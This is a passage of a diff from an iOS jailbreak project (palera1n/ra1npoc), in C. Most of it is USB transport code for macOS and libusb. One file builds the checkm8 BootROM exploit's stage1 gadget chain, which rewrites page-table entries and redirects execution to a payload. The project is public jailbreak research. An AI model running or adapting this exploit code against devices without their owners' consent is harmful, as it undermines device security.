free(p_data);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,250 @@
|
||||
/*
|
||||
* ra1npoc - https://github.com/kok3shidoll/ra1npoc
|
||||
*
|
||||
* Copyright (C) 2021 - 2023 kok3shidoll
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stage1.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <payload.h>
|
||||
|
||||
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
|
||||
|
||||
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
|
||||
bool generate_stage1(
|
||||
void** outbuf,
|
||||
size_t* outlen,
|
||||
void* payload,
|
||||
size_t payload_sz,
|
||||
struct DeviceConfiguration *deviceConfig,
|
||||
struct PayloadConfiguration *payloadConfig
|
||||
) {
|
||||
bool wnx = false;
|
||||
uint64_t write_gadget = 0;
|
||||
uint32_t write_val = 0;
|
||||
|
||||
uint64_t base_address = payloadConfig->insecure_memory_base;
|
||||
|
||||
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
|
||||
{
|
||||
wnx = true;
|
||||
}
|
||||
|
||||
size_t presize = wnx == true ? 0x800 : 0xc0;
|
||||
void *buf = malloc(presize);
|
||||
|
||||
uint32_t nextOffset = 0;
|
||||
unsigned char* nextBuf = NULL;
|
||||
dfu_callback_t* cb = (dfu_callback_t*)buf;
|
||||
nextBuf = buf;
|
||||
|
||||
uint32_t current_size = 0;
|
||||
int count = 0;
|
||||
|
||||
#define PUSH(end, func, arg0, arg1) \
|
||||
{ \
|
||||
count++; \
|
||||
current_size = nextOffset + sizeof(dfu_callback_t); \
|
||||
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
|
||||
{ \
|
||||
cb->callback = payloadConfig->func_gadget; \
|
||||
if(count%3 == 0) \
|
||||
nextOffset += 0x80; \
|
||||
else \
|
||||
nextOffset += 0x20; \
|
||||
if(!end)cb->next = base_address + nextOffset; \
|
||||
uint64_t* ptr = (uint64_t*)(cb); \
|
||||
uint32_t* ptr32 = (uint32_t*)(cb); \
|
||||
ptr[15] = func; \
|
||||
if(func == payloadConfig->write_prim) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)(arg0 - 4); \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_prim2) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_ttbr0) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
nextBuf = (unsigned char*)(buf + nextOffset); \
|
||||
cb = (dfu_callback_t*)nextBuf; \
|
||||
} \
|
||||
else \
|
||||
{ \
|
||||
goto fail; \
|
||||
} \
|
||||
} \
|
||||
|
||||
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim;
|
||||
}
|
||||
else
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim2;
|
||||
}
|
||||
|
||||
uint64_t vrom_address = 0x100000000;
|
||||
uint64_t sram_address = 0x180000000;
|
||||
uint64_t new_va = 0x142000000; // post-exploit
|
||||
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t sram_rx_va = 0x140000000; // execute payload
|
||||
uint64_t sram_rw_va = 0x142000000; // custom ttbr
|
||||
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t vrom_rw_va = 0x144000000;
|
||||
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
// VROM: 0x100000000
|
||||
uint64_t vrom_bit = vrom_address | 0x6a5;
|
||||
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
|
||||
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
|
||||
|
||||
// Newp: 0x142000000
|
||||
uint64_t new_bit = sram_address | 0x621; // pa
|
||||
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit |= (1uL << 53); // PXN
|
||||
new_bit |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
|
||||
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
|
||||
|
||||
// Newp: 0x144000000
|
||||
uint64_t new_bit_2 = sram_address | 0x621; // pa
|
||||
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit_2 |= (1uL << 53); // PXN
|
||||
new_bit_2 |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
|
||||
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
|
||||
|
||||
// SRAM: 0x180000000
|
||||
uint64_t sram_bit = sram_address | 0x3;
|
||||
sram_bit |= (1uL << 63); // NS
|
||||
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
|
||||
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
|
||||
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
|
||||
}
|
||||
|
||||
if(wnx)
|
||||
{
|
||||
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
else
|
||||
{
|
||||
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
|
||||
}
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
|
||||
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
uint64_t sram_rx_bit = sram_address | 0x6a5;
|
||||
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
|
||||
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
|
||||
|
||||
uint64_t sram_rw_bit = sram_address | 0x621;
|
||||
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
sram_rw_bit |= (1uL << 53); // PXN
|
||||
sram_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
|
||||
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
|
||||
|
||||
uint64_t vrom_rw_bit = vrom_address | 0x621;
|
||||
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
vrom_rw_bit |= (1uL << 53); // PXN
|
||||
vrom_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
|
||||
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
|
||||
|
||||
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
|
||||
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
|
||||
}
|
||||
|
||||
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
|
||||
*outbuf = malloc(*outlen);
|
||||
|
||||
memset(*outbuf, 0x0, *outlen);
|
||||
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
|
||||
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
|
||||
if(buf) free(buf);
|
||||
return true;
|
||||
|
||||
fail:
|
||||
if(buf) free(buf);
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,342 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifdef __APPLE__
|
||||
|
||||
#include <usb_iokit.h>
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <CommonCrypto/CommonCrypto.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include <IOKit/usb/IOUSBLib.h>
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
|
||||
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
|
||||
|
||||
if(cf_val != NULL) {
|
||||
CFDictionarySetValue(dict, key, cf_val);
|
||||
CFRelease(cf_val);
|
||||
}
|
||||
}
|
||||
|
||||
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
|
||||
IOCFPlugInInterface **plugin_interface;
|
||||
SInt32 score;
|
||||
bool ret = false;
|
||||
|
||||
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
|
||||
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
|
||||
IODestroyPlugInInterface(plugin_interface);
|
||||
}
|
||||
|
||||
IOObjectRelease(serv);
|
||||
return ret;
|
||||
}
|
||||
|
||||
static bool open_usb_interface(usb_handle_t *handle) {
|
||||
IOUSBFindInterfaceRequest req;
|
||||
io_iterator_t iter;
|
||||
io_service_t intfServ;
|
||||
IOReturn kr;
|
||||
|
||||
req.bInterfaceClass = kIOUSBFindInterfaceDontCare;
|
||||
req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
|
||||
req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
|
||||
req.bAlternateSetting = kIOUSBFindInterfaceDontCare;
|
||||
|
||||
kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter);
|
||||
if(kr != kIOReturnSuccess) return false;
|
||||
|
||||
while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||
IOCFPlugInInterface **plugin = NULL;
|
||||
IOUSBInterfaceInterface245 **intf = NULL;
|
||||
SInt32 score = 0;
|
||||
HRESULT res;
|
||||
|
||||
kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
|
||||
|
||||
IOObjectRelease(intfServ);
|
||||
|
||||
if(kr != kIOReturnSuccess || !plugin) continue;
|
||||
|
||||
res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf);
|
||||
|
||||
(*plugin)->Release(plugin);
|
||||
|
||||
if(res != S_OK || !intf) continue;
|
||||
|
||||
kr = (*intf)->USBInterfaceOpen(intf);
|
||||
if(kr != kIOReturnSuccess) {
|
||||
(*intf)->Release(intf);
|
||||
continue;
|
||||
}
|
||||
|
||||
handle->interface = intf;
|
||||
IOObjectRelease(iter);
|
||||
return true;
|
||||
}
|
||||
|
||||
IOObjectRelease(iter);
|
||||
return false;
|
||||
}
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
if(handle->async_event_source) {
|
||||
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
|
||||
CFRelease(handle->async_event_source);
|
||||
handle->async_event_source = NULL;
|
||||
}
|
||||
|
||||
if(handle->interface) {
|
||||
(*handle->interface)->USBInterfaceClose(handle->interface);
|
||||
(*handle->interface)->Release(handle->interface);
|
||||
handle->interface = NULL;
|
||||
}
|
||||
|
||||
if(handle->device) {
|
||||
(*handle->device)->USBDeviceClose(handle->device);
|
||||
(*handle->device)->Release(handle->device);
|
||||
handle->device = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
bool open_usb_device(io_service_t serv, usb_handle_t *handle)
|
||||
{
|
||||
if (!query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) return false;
|
||||
|
||||
IOReturn kr;
|
||||
|
||||
for (int i = 0; i < 10; i++) {
|
||||
kr = (*handle->device)->USBDeviceOpenSeize(handle->device);
|
||||
|
||||
if (kr == kIOReturnSuccess) break;
|
||||
if (kr != kIOReturnExclusiveAccess) goto fail;
|
||||
|
||||
usleep(100000);
|
||||
}
|
||||
|
||||
if (kr != kIOReturnSuccess) goto fail;
|
||||
|
||||
kr = (*handle->device)->SetConfiguration(handle->device, 1);
|
||||
|
||||
if (kr != kIOReturnSuccess && kr != kIOReturnExclusiveAccess) goto fail;
|
||||
|
||||
kr = (*handle->device)->CreateDeviceAsyncEventSource(
|
||||
handle->device,
|
||||
&handle->async_event_source
|
||||
);
|
||||
|
||||
if (kr != kIOReturnSuccess) goto fail;
|
||||
|
||||
CFRunLoopAddSource(
|
||||
CFRunLoopGetCurrent(),
|
||||
handle->async_event_source,
|
||||
kCFRunLoopDefaultMode
|
||||
);
|
||||
|
||||
if (!open_usb_interface(handle)) goto fail;
|
||||
|
||||
return true;
|
||||
fail:
|
||||
close_usb_handle(handle);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
CFMutableDictionaryRef matching_dict;
|
||||
io_iterator_t iter;
|
||||
io_service_t serv;
|
||||
|
||||
matching_dict = IOServiceMatching(kUSBDeviceClassName);
|
||||
if (matching_dict == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
|
||||
|
||||
if (IOServiceGetMatchingServices(0, matching_dict, &iter) != kIOReturnSuccess) {
|
||||
return false;
|
||||
}
|
||||
|
||||
while ((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||
if (open_usb_device(serv, handle)) {
|
||||
IOObjectRelease(iter);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
IOObjectRelease(iter);
|
||||
return false;
|
||||
}
|
||||
|
||||
void reset_usb_handle(usb_handle_t *handle) {
|
||||
if(handle->device) {
|
||||
(*handle->device)->ResetDevice(handle->device);
|
||||
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
|
||||
}
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOUSBDevRequestTO req = {
|
||||
.wLenDone = 0,
|
||||
.pData = p_data,
|
||||
.bRequest = b_request,
|
||||
.bmRequestType = bm_request_type,
|
||||
.wLength = OSSwapLittleToHostInt16(w_len),
|
||||
.wValue = OSSwapLittleToHostInt16(w_value),
|
||||
.wIndex = OSSwapLittleToHostInt16(w_index),
|
||||
.completionTimeout = USB_TIMEOUT,
|
||||
.noDataTimeout = USB_TIMEOUT,
|
||||
};
|
||||
|
||||
IOReturn ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
|
||||
|
||||
if(ret == kIOReturnSuccess) {
|
||||
result.sz = req.wLenDone;
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
|
||||
transfer_ret_t *transfer_ret = refcon;
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
|
||||
|
||||
if(ret == kIOReturnSuccess) {
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
CFRunLoopStop(CFRunLoopGetCurrent());
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOUSBDevRequestTO req = {
|
||||
.wLenDone = 0,
|
||||
.pData = p_data,
|
||||
.bRequest = b_request,
|
||||
.bmRequestType = bm_request_type,
|
||||
.wLength = OSSwapLittleToHostInt16(w_len),
|
||||
.wValue = OSSwapLittleToHostInt16(w_value),
|
||||
.wIndex = OSSwapLittleToHostInt16(w_index),
|
||||
.completionTimeout = USB_TIMEOUT,
|
||||
.noDataTimeout = USB_TIMEOUT,
|
||||
};
|
||||
|
||||
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, &result) == kIOReturnSuccess) {
|
||||
sleep_ms(usb_abort_timeout);
|
||||
|
||||
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
|
||||
CFRunLoopRun();
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOUSBDevRequest req = {
|
||||
.bmRequestType = bm_request_type,
|
||||
.bRequest = b_request,
|
||||
.wValue = w_value,
|
||||
.wIndex = w_index,
|
||||
.wLength = (UInt16)w_len,
|
||||
.pData = p_data,
|
||||
};
|
||||
|
||||
IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req);
|
||||
|
||||
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
|
||||
result.sz = req.wLenDone;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len);
|
||||
|
||||
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
|
||||
result.sz = len;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid)
|
||||
{
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->serv = IO_OBJECT_NULL;
|
||||
handle->device = NULL;
|
||||
handle->interface = NULL;
|
||||
handle->async_event_source = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,277 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef __APPLE__
|
||||
|
||||
#include <usb_libusb.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
#if _WIN32
|
||||
libusb_release_interface(handle->device, 0);
|
||||
#endif
|
||||
libusb_close(handle->device);
|
||||
libusb_exit(NULL);
|
||||
}
|
||||
|
||||
void reset_usb_handle(const usb_handle_t *handle) {
|
||||
libusb_reset_device(handle->device);
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
if (libusb_init(NULL) != LIBUSB_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid);
|
||||
if (handle->device == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
#if _WIN32
|
||||
libusb_set_auto_detach_kernel_driver(handle->device, 1);
|
||||
|
||||
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS ||
|
||||
libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY) {
|
||||
if (libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
#else
|
||||
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
libusb_close(handle->device);
|
||||
return false;
|
||||
}
|
||||
|
||||
void usb_async_cb(struct libusb_transfer *transfer) {
|
||||
*(int *)transfer->user_data = 1;
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
|
||||
|
||||
if(ret >= 0) {
|
||||
result.sz = (uint32_t)ret;
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
result.sz = 0;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
|
||||
struct timeval tv;
|
||||
int completed = 0;
|
||||
uint8_t *buf;
|
||||
|
||||
if(transfer != NULL) {
|
